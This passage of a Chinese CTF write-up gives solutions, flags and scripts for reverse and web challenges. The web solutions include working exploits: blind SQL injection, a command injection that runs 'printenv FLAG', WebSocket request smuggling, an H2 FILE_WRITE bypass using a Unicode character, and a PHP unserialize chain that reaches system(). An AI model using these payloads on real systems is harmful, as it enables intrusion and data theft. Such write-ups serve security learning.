然后进入游戏 输入/authj 以及坐标来源

反编译得到:

x = 52222 ^ 51966 = 256;
y = 80;
z = 48062 ^ 47806 = 256;

找到有海绵的位置 站在上面输入/flag 即可获得flag

4.tea_for_fun

程序为 x64 MinGW PE,main 位于:

ImageBase = 0x140000000
main RVA  = 0x8bf
main VA   = 0x1400018bf

main 的关键逻辑:

fgets(input, 0x7f, stdin);
input[strcspn(input, "\r\n")] = 0;

if (strlen(input) != 0x20)
    return Fail;

memcpy(buf, input, 0x20);

for (int i = 0; i < 4; i++)
    insane_process(&buf[i * 8], key);

比较 8 个 DWORD 是否等于固定密文。

固定密钥:

12345678 9abcdef0 deadbeef cafebabe

固定密文:

91cae279 54a6390c
44425d25 8973ec92
a237ade3 46bd8e22
43b79c57 cbff40aa

[PRIMITIVE]

程序中的两个混淆函数:

mba_xor(a, b) = a ^ b;

mba_add(a, b) = (a ^ b) + 2 * (a & b);

其中 mba_add 等价于 32 位模加:

(a ^ b) + 2 * (a & b) == a + b

状态初始化:

d_seed = 0x1337c0de
state  = 0
marker = 0x12345678
rounds = 32

每轮状态:

d_seed = (d_seed * 0x41c64e6d + 0x3039) & 0xffffffff
state = (state + ((d_seed ^ marker) & 0x0fffffff)) & 0xffffffff

q0 = 2 + d_seed % 7
q1 = 2 + ((d_seed >> 8) % 7)

s0 = (state >> 2) & 3
s1 = (state >> 4) & 3
s2 = (state >> 6) & 3
s3 = (state >> 8) & 3

正向轮函数:

x1 = rol(v1, q0) ^ key[s0]
x2 = v1 + state
x3 = key[s1] ^ (v1 >> q1)

if round_idx & 1:
    v0 ^= x1 + x2 + x3
else:
    v0 += x1 ^ x2 ^ x3

x4 = rol(v0, q0) ^ key[s2]
x5 = v0 + state
x6 = key[s3] ^ (v0 >> q1)

if round_idx % 3 == 0:
    v1 ^= x4 + x5 + x6
else:
    v1 += x4 ^ x5 ^ x6

所有加法均为 & 0xffffffff

脚本如下:

import struct

MASK = 0xffffffff
LCG_A = 0x41c64e6d
LCG_C = 0x3039
MARKER = 0x12345678

KEY = [
    0x12345678,
    0x9abcdef0,
    0xdeadbeef,
    0xcafebabe,
]

TARGET = [
    0x91cae279, 0x54a6390c,
    0x44425d25, 0x8973ec92,
    0xa237ade3, 0x46bd8e22,
    0x43b79c57, 0xcbff40aa,
]

def rol(x, n):
    n &= 31
    return ((x << n) | (x >> (32 - n))) & MASK

def mba_xor(a, b):
    return (a ^ b) & MASK

def mba_add(a, b):
    return ((a ^ b) + 2 * (a & b)) & MASK

def make_params():
    d_seed = 0x1337c0de
    state = 0
    result = []

    for _ in range(32):
        d_seed = (d_seed * LCG_A + LCG_C) & MASK
        state = mba_add(
            state,
            (d_seed ^ MARKER) & 0x0fffffff
        )

        result.append((
            state,
            2 + d_seed % 7,
            2 + ((d_seed >> 8) % 7),
            (state >> 2) & 3,
            (state >> 4) & 3,
            (state >> 6) & 3,
            (state >> 8) & 3,
        ))

    return result

def decrypt_block(v0, v1):
    params = make_params()

    for r in range(31, -1, -1):
        state, q0, q1, s0, s1, s2, s3 = params[r]

        x4 = rol(v0, q0) ^ KEY[s2]
        x5 = mba_add(v0, state)
        x6 = KEY[s3] ^ (v0 >> q1)

        if r % 3 == 0:
            v1 ^= (x4 + x5 + x6) & MASK
        else:
            v1 = (v1 - (x4 ^ x5 ^ x6)) & MASK

        x1 = rol(v1, q0) ^ KEY[s0]
        x2 = mba_add(v1, state)
        x3 = KEY[s1] ^ (v1 >> q1)

        if r & 1:
            v0 ^= (x1 + x2 + x3) & MASK
        else:
            v0 = (v0 - (x1 ^ x2 ^ x3)) & MASK

    return v0, v1

plain_words = []

for i in range(0, len(TARGET), 2):
    v0, v1 = decrypt_block(TARGET[i], TARGET[i + 1])
    plain_words += [v0, v1]
    print(f"{v0:08x} {v1:08x}")

flag = b"".join(struct.pack("<I", x) for x in plain_words)
print(flag.decode())

5.艾尔登奶龙

FLAG: flag{b8f7c2a1-4d6e-49ab-9c03-7e2d91f65a40}

shard.dat 结构:

offset 0x00: "RUNEPAK1"
offset 0x08: seed = 0x8f3a271d
offset 0x0c: record_count = 26
offset 0x10: 26 条记录,每条 16 字节

每条记录格式:

uint32 magic;
uint32 offset;
uint32 length;
uint32 crc32;

目标记录为第 12 条:

magic  = 0xc4b7a91e
offset = 0x3d9cd1
length = 0x203e
crc32  = 0x59d86c18

使用 SplitMix64 高字节异或解密后:

CRC32(decrypted) = 0x59d86c18
payload magic    = REMB
cipher offset    = 0x2014
cipher length    = 0x2a

密文:

b5680d3b2ad6012fc982362a772e9361b4d557bc71b1164c0c801e588520e7f5b773569e6ea58009d5d6

脚本如下:

#!/usr/bin/env python3
from __future__ import annotations

import sys

if sys.path:
    sys.path.pop(0)

import struct
import zipfile
import zlib
from pathlib import Path

MASK64 = (1 << 64) - 1
GAMMA = 0x9E3779B97F4A7C15
MUL1 = 0xBF58476D1CE4E5B9
MUL2 = 0x94D049BB133111EB
SEED_XOR = 0x6A09E667370B6017


def splitmix_byte_stream(seed: int, size: int, xor_const: int = SEED_XOR):
    state = seed ^ xor_const
    for _ in range(size):
        state = (state + GAMMA) & MASK64
        x = state
        x = ((x ^ (x >> 30)) * MUL1) & MASK64
        x = ((x ^ (x >> 27)) * MUL2) & MASK64
        x ^= x >> 31
        yield (x >> 56) & 0xFF


def decrypt_record(blob: bytes, seed: int, xor_const: int = SEED_XOR) -> bytes:
    return bytes(c ^ k for c, k in zip(blob, splitmix_byte_stream(seed, len(blob), xor_const)))


def extract_shard(shard: Path, record_index: int = 12) -> tuple[bytes, bytes]:
    data = shard.read_bytes()
    if data[:8] != b"RUNEPAK1":
        raise ValueError("bad shard magic")
    seed, count = struct.unpack_from("<II", data, 8)
    if not 0 <= record_index < count:
        raise IndexError(record_index)
    magic, offset, length, expected_crc = struct.unpack_from(
        "<4I", data, 16 + 16 * record_index
    )
    encrypted = data[offset : offset + length]
    if len(encrypted) != length:
        raise ValueError("record extends past EOF")
    plain = decrypt_record(encrypted, seed)
    actual_crc = zlib.crc32(plain) & 0xFFFFFFFF
    if actual_crc != expected_crc:
        raise ValueError(f"CRC mismatch: {actual_crc:08x} != {expected_crc:08x}")
    print(f"seed={seed:#x}, records={count}, index={record_index}")
    print(f"magic={magic:#x}, offset={offset:#x}, length={length:#x}, crc={actual_crc:#x}")
    return plain, data


def main() -> None:
    # Usage: python solve_ald_writeup.py [shard.dat|challenge.zip]
    source = Path(sys.argv[1]) if len(sys.argv) > 1 else Path("shard.dat")
    if source.suffix.lower() == ".zip":
        out = source.with_suffix("")
        out.mkdir(exist_ok=True)
        with zipfile.ZipFile(source) as zf:
            zf.extractall(out)
        shard = out / "shard.dat"
    else:
        shard = source

    payload, _ = extract_shard(shard)
    Path("remb_decrypted.bin").write_bytes(payload)
    if payload[:4] != b"REMB":
        raise ValueError("decrypted record is not REMB")
    ciphertext = payload[0x2014 : 0x2014 + 0x2A]
    print(f"REMB ciphertext ({len(ciphertext)} bytes): {ciphertext.hex()}")

    key = 0x8013DFDE
    flag = decrypt_record(ciphertext, key, 0x6A09E667F3BCC909).decode("ascii")
    print(flag)


if __name__ == "__main__":
    main()

WEB方向

1.ezphp

FLAG:flag{nqgu99r4-tlhs-4hk-8rkp-xfsvtokwvv34z}}

首页脚本调用:

GET /api/lookup.php?code=...

/source.php 泄露了源码:

$filters = [
    'share_code' => $code,
    'is_public' => true,
];

$rows = pg_select(database(), 'documents', $filters, PGSQL_DML_EXEC);

查询逻辑类似:

WHERE share_code = '<code>' AND is_public = TRUE

输入 \' 可以利用反斜杠和单引号破坏字符串边界,再用 -- 注释掉后面的 is_public=true

\' OR (id=4 AND length(body)=43) --

过滤器只拦截了 ;、控制字符、selectunion 等关键词,这个 payload 可以正常通过。

脚本如下:

import requests

URL = "http://challenge.cyclens.tech:32002/api/lookup.php"

vault = (
    "share_code=CHR(86)||CHR(65)||CHR(85)||"
    "CHR(76)||CHR(84)"
)

def probe(expr: str) -> bool:
    payload = "\\' OR (" + vault + " AND " + expr + ") --"
    r = requests.get(URL, params={"code": payload}, timeout=10)
    return r.json().get("found") is True

length = None
for n in range(1, 100):
    if probe(f"length(body)={n}"):
        length = n
        break

print("body length:", length)

result = []
for pos in range(1, length + 1):
    lo, hi = 32, 126

    while lo < hi:
        mid = (lo + hi + 1) // 2
        if probe(f"ascii(substr(body,{pos},1)) >= {mid}"):
            lo = mid
        else:
            hi = mid - 1

    result.append(chr(lo))

raw = "".join(result)
print("raw body:", raw)

flag = raw[:-1] if raw.endswith("}}") else raw
print("flag:", flag)

2.LamentXU's chal

FLAG:flag{s1ifcxun-ozid-4uo-8jvz-d5miru35lgzd3}

  1. 访问首页,发现 PHP 源码被 highlight_file(__FILE__) 直接泄露。
  2. 关键逻辑:
$rawRole = $_GET['role'] ?? '';
$roleText = trim($rawRole);

if ($roleText === '1') exit('admin role is forbidden');
if (preg_match('/[eE.]/', $roleText)) exit('invalid role id');
if ($roleText[0] === '0') exit('leading zero is forbidden');
if (!is_numeric($roleText)) exit('invalid role id');

$roleId = intval($rawRole);

if ($roleId === 1) {
    echo file_get_contents('/flag');
}

3.使用 role=+1 时,PHP 的 URL 解析会把 + 转为空格,因此必须传输编码后的 %2B1

4.role=%2B1 在 PHP 中得到:

rawRole  = "+1"
roleText = "+1"
intval("+1") = 1

满足 intval($rawRole) === 1

5.userId 只要求长度不少于 114,填充 114 个 A 即可。

http://challenge.cyclens.tech:30500/?userId=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA&role=%2B1

3.lets_goooooo

FLAG:flag{vdvwo9rx-kpo3-4yi-8nzh-l8ztew3uhdvqn}

题目是一个 Go Web 服务,功能是:

exec.CommandContext(ctx, "/bin/sh", "-c",
    fmt.Sprintf("ping -c 1 -W 1 %s", host))

host 参数未经安全转义,直接拼接进 /bin/sh -c,因此存在命令注入。

黑名单代码:

if strings.ContainsAny(host, " ;|&$`(){}[]<>\\\"") {
    // blocked
}

过滤器存在两个关键问题:

  1. 没有过滤换行符 \n
  2. 没有过滤制表符 \t

虽然普通空格会被拦截,但 Shell 可以使用 Tab 作为参数分隔符。

最终执行效果相当于:

ping -c 1 -W 1 127.0.0.1
printenv	FLAG

服务端运行身份为 root,环境变量中保存了 flag。

http://challenge.cyclens.tech:31922/ping?host=127.0.0.1%0Aprintenv%09FLAG

脚本如下

import html
import re
import requests

url = "http://challenge.cyclens.tech:31922/ping"

payload = "127.0.0.1\nprintenv\tFLAG"

response = requests.get(
    url,
    params={"host": payload},
    timeout=10,
)

print("Request URL:")
print(response.url)

match = re.search(r"<pre>(.*?)</pre>", response.text, re.S)

if match:
    output = html.unescape(match.group(1))
    print("\nServer output:")
    print(output.strip())
else:
    print(response.text)

4.little_Java

FLAG: flag{ma1ofgiv-li4q-4hw-88cg-xb0cyfb6htjbt}

题目是一个 Java WebSocket “split horizon” 网关。关键漏洞在于:

  • Edge 按重复请求头检查路由。
  • Java-WebSocket 会把重复头合并成 "; "
  • Edge 看到的是两个 route,但 Relay 看到的是 public; recovery
  • Edge 要求第一个协议是 relay.v1,Relay 最终选择 operator.v1
  • Relay 只在未完成的 fragmented text frame 上检查 telemetry,后续完整消息可以执行 operator 操作。

服务端源码关键逻辑:

if ("operator".equals(r.path("phase").asText())
    && "readFile".equals(r.path("op").asText())
    && "/tmp/flag".equals(r.path("path").asText())) {
    conn.send(Files.readString(Path.of("/tmp/flag")).trim());
}

首个 fragment 需要匹配:

{"ticket":"<ticket>","trace":"<trace>","phase":"telemetry","op":"ping"

然后发送:

SHA256(首个 fragment)[:16]

作为 WebSocket Ping,即可将连接状态设置为 recoveryArmed=true

脚本如下

import sys

# The workspace contains enum.py; remove the script directory before stdlib imports.
if sys.path:
    sys.path.pop(0)

import base64, hashlib, json, os, socket, struct, urllib.request

HOST = 'challenge.cyclens.tech'
PORT = 30971

def recv_until(s, marker=b'\r\n\r\n'):
    b = b''
    while marker not in b:
        x = s.recv(4096)
        if not x: raise RuntimeError('eof: '+repr(b))
        b += x
    return b

def frame(opcode, payload=b'', fin=True, rsv1=False):
    first = (0x80 if fin else 0) | (0x40 if rsv1 else 0) | opcode
    mask = os.urandom(4)
    out = bytearray([first])
    n = len(payload)
    if n < 126: out.append(0x80 | n)
    elif n < 65536: out.append(0x80 | 126); out += struct.pack('>H', n)
    else: out.append(0x80 | 127); out += struct.pack('>Q', n)
    out += mask
    out += bytes(x ^ mask[i & 3] for i,x in enumerate(payload))
    return bytes(out)

def recv_frame(s):
    h = s.recv(2)
    if len(h) < 2: return None
    fin, rsv, op, masked, n = h[0]&0x80, h[0]&0x70, h[0]&0xf, h[1]&0x80, h[1]&0x7f
    if n == 126: n = struct.unpack('>H', s.recv(2))[0]
    elif n == 127: n = struct.unpack('>Q', s.recv(8))[0]
    if masked: key=s.recv(4)
    p=s.recv(n)
    if masked: p=bytes(x ^ key[i&3] for i,x in enumerate(p))
    return fin,rsv,op,p

def main():
    cap=json.load(urllib.request.urlopen('http://'+HOST+':'+str(PORT)+'/api/bootstrap'))
    trace=cap['trace']; ticket=cap['ticket']
    print('cap', cap)
    key=base64.b64encode(os.urandom(16)).decode()
    req=(
      'GET /gateway HTTP/1.1\r\nHost: '+HOST+':'+str(PORT)+'\r\n'
      'Upgrade: websocket\r\nConnection: Upgrade\r\n'
      'Sec-WebSocket-Key: '+key+'\r\nSec-WebSocket-Version: 13\r\n'
      'X-Relay-Route: public\r\nX-Relay-Route: recovery\r\n'
      'Sec-WebSocket-Protocol: relay.v1, operator.v1\r\n'
      'Sec-WebSocket-Extensions: permessage-deflate\r\n'
      'Sec-WebSocket-Extensions: client_no_context_takeover\r\n\r\n').encode()
    s=socket.create_connection((HOST,PORT), timeout=10); s.sendall(req)
    hs=recv_until(s); print(hs.decode('latin1'))
    opening=(('{"ticket":"'+ticket+'","trace":"'+trace+'","phase":"telemetry","op":"ping"').encode())
    print('opening', opening)
    s.sendall(frame(1, opening, fin=False))
    s.sendall(frame(0, b'}', fin=True))
    digest=hashlib.sha256(opening).digest()[:16]
    s.sendall(frame(9, digest, fin=True))
    final=json.dumps({'trace':trace,'phase':'operator','op':'readFile','path':'/tmp/flag'}, separators=(',',':')).encode()
    print('final', final)
    s.sendall(frame(1, final, fin=True))
    s.settimeout(5)
    while True:
        f=recv_frame(s)
        print('frame', f)
        if f is None or f[2] in (8,): break

if __name__ == '__main__': main()

5.phantom的surprise

**FLAG:flag{hx4mumvv-8gfw-4vz-810d-te88qf7vya49x}**

核心漏洞链:

1./api/v1/preview 会把输入拼接为 H2 SQL:

SELECT <your_expression>

2.黑名单禁止 FILE_WRITE,但只做字符串匹配。使用 Unicode 无点小写 ı 绕过:

FıLE_WRITE(...)

H2 解析器仍会把它识别为 FILE_WRITE

3.H2 函数参数顺序为:

FILE_WRITE(data, path)

因此可以写任意数据库文件:

FıLE_WRITE(X'...', '/tmp/catalog-worker/xxx.mv.db')

4.普通 CREATE FORCE TRIGGER 会被:

System.setProperty("h2.allowedClasses", "java.lang.String");

拦截,不能直接加载题目 Driver。

5.最终利用 H2 LINKED TABLE

CREATE LINKED TABLE L(
  '',
  'jdbc:h2:file:/tmp/catalog-worker/linked-target;DEFAULT_CONNECTION=TRUE',
  'sa',
  '',
  '(SELECT X(1) AS C FROM T) --'
)

先准备两个 H2 数据库:

  • linked-target.mv.db
  • linked.remote.snapshot.mv.db

脚本如下:

import com.papertrail.catalog.compat.store.jdbc.JdbcConnection;
import com.papertrail.catalog.compat.store.mvstore.MVStore;
import java.nio.file.*;
import java.util.Properties;

public class GenerateLinkedDb {
  public static void main(String[] args) throws Exception {
    Path archivePath = Path.of(args[0]).toAbsolutePath();

    Path targetPath =
        Path.of("E:/tmp/catalog-worker/linked-target.mv.db").toAbsolutePath();

    Files.createDirectories(targetPath.getParent());
    Files.deleteIfExists(targetPath);

    String targetBase = targetPath.toString()
        .substring(0, targetPath.toString().length() - ".mv.db".length());

    JdbcConnection targetConn = new JdbcConnection(
        "jdbc:h2:file:" + targetBase,
        new Properties(),
        "sa",
        "",
        false
    );

    targetConn.createStatement().execute(
        "CREATE ALIAS X FOR \"java.lang.String.valueOf(int)\""
    );
    targetConn.createStatement().execute("CREATE TABLE T(ID INT)");
    targetConn.createStatement().execute("INSERT INTO T VALUES(1)");
    targetConn.close();

    MVStore.compact(targetBase + ".mv.db", true, null);

    Files.deleteIfExists(archivePath);

    String archiveBase = archivePath.toString()
        .substring(0, archivePath.toString().length() - ".mv.db".length());

    JdbcConnection archiveConn = new JdbcConnection(
        "jdbc:h2:file:" + archiveBase,
        new Properties(),
        "sa",
        "",
        false
    );

    String target =
        "jdbc:h2:file:/tmp/catalog-worker/linked-target;DEFAULT_CONNECTION=TRUE";

    String sql =
        "CREATE LINKED TABLE L('','" +
        target +
        "','sa','','(SELECT X(1) AS C FROM T) --')";

    System.out.println(sql);
    archiveConn.createStatement().execute(sql);
    archiveConn.close();

    System.out.println(Files.size(archivePath));
  }
}

远程上传以下脚本

$base = 'http://challenge.cyclens.tech:30651'

$targetFile = 'E:/tmp/catalog-worker/linked-target.mv.db'
$archiveFile = 'E:/codex/CTF/ph@nt0m/generated/linked.remote.snapshot.mv.db'

$fn = 'F' + [char]0x131 + 'LE_WRITE'

function Upload-Db($localFile, $remoteFile) {
    $hex = [Convert]::ToHexString(
        [IO.File]::ReadAllBytes($localFile)
    )

    $expr = "$fn(X'$hex','$remoteFile')"

    Invoke-RestMethod `
        -Method Post `
        -Uri "$base/api/v1/preview" `
        -ContentType 'text/plain' `
        -Body $expr
}

Invoke-RestMethod "$base/api/v1/info"

Upload-Db `
    $targetFile `
    '/tmp/catalog-worker/linked-target.mv.db'

Upload-Db `
    $archiveFile `
    '/tmp/catalog-worker/catalog.snapshot.mv.db'

Invoke-RestMethod `
    -Method Post `
    -Uri "$base/api/v1/workers/refresh" `
    -ContentType 'text/plain' `
    -Body ''

Invoke-RestMethod "$base/api/v1/proof"

6.unserialize

附件是:

$obj = unserialize($_POST['data']);
unset($obj);

CommandExecutor::__destruct() 最终执行:

system($this->command);

对象顺序必须是:

SecurityValidator
    ↓ mode = "safe"
Mutator
    ↓ ref 与 mode 共享引用
CommandExecutor
    ↓ enabled = true

反序列化时:

  1. SecurityValidator::__wakeup() 先检查到 safe,通过。
  2. Mutator::__wakeup() 把共享引用改成 hacked
  3. CommandExecutor::__destruct() 判断 mode 不再是 safe,执行命令。

关键引用:

Mutator::$ref = R:3
CommandExecutor::$validator = R:2

Payload:

<?php
class SecurityValidator {
    private $mode;
    private $data;
}

class CommandExecutor {
    private $validator;
    private $command;
    private $enabled;
}

class Mutator {
    public $ref;
}

$cmd = $argv[1] ?? 'id';

$m = new Mutator();
$v = new SecurityValidator();
$ce = new CommandExecutor();

$mode = 'safe';

$bindV = Closure::bind(
    function (&$x) { $this->mode =& $x; },
    $v,
    'SecurityValidator'
);
$bindV($mode);

$m->ref =& $mode;

$bindCE = Closure::bind(
    function (&$x) { $this->validator =& $x; },
    $ce,
    'CommandExecutor'
);
$bindCE($v);

$bindC = Closure::bind(
    function (&$x) { $this->command =& $x; },
    $ce,
    'CommandExecutor'
);
$bindC($cmd);

$enabled = true;

$bindE = Closure::bind(
    function (&$x) { $this->enabled =& $x; },
    $ce,
    'CommandExecutor'
);
$bindE($enabled);

echo serialize([$v, $m, $ce]);

7.signin

FLAG:flag{kxc1b00w-8l7i-41l-8ebu-on7a1lb32hzu7}

首页直接泄露 PHP 源码,关键:

$rawRole = $_GET['role'] ?? '';
$roleText = trim($rawRole);

if ($roleText === '1') {
    exit('admin role is forbidden');
}

$roleId = intval($rawRole);

if ($roleId === 1) {
    echo file_get_contents('/flag');
}

绕过值使用 role=1abcroleText 不等于字符串 1 不含 +-.eE intval('1abc') 返回整数 1 userId长度至少 114

http://challenge.cyclens.tech:32597/?userId=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA&role=1abc)

问卷

flag{aaaaaaaaaaabbbbbbbbbbbbccccccccccccddddddddddddd}

此作者没有提供个人介绍。
最后更新于 2026-08-16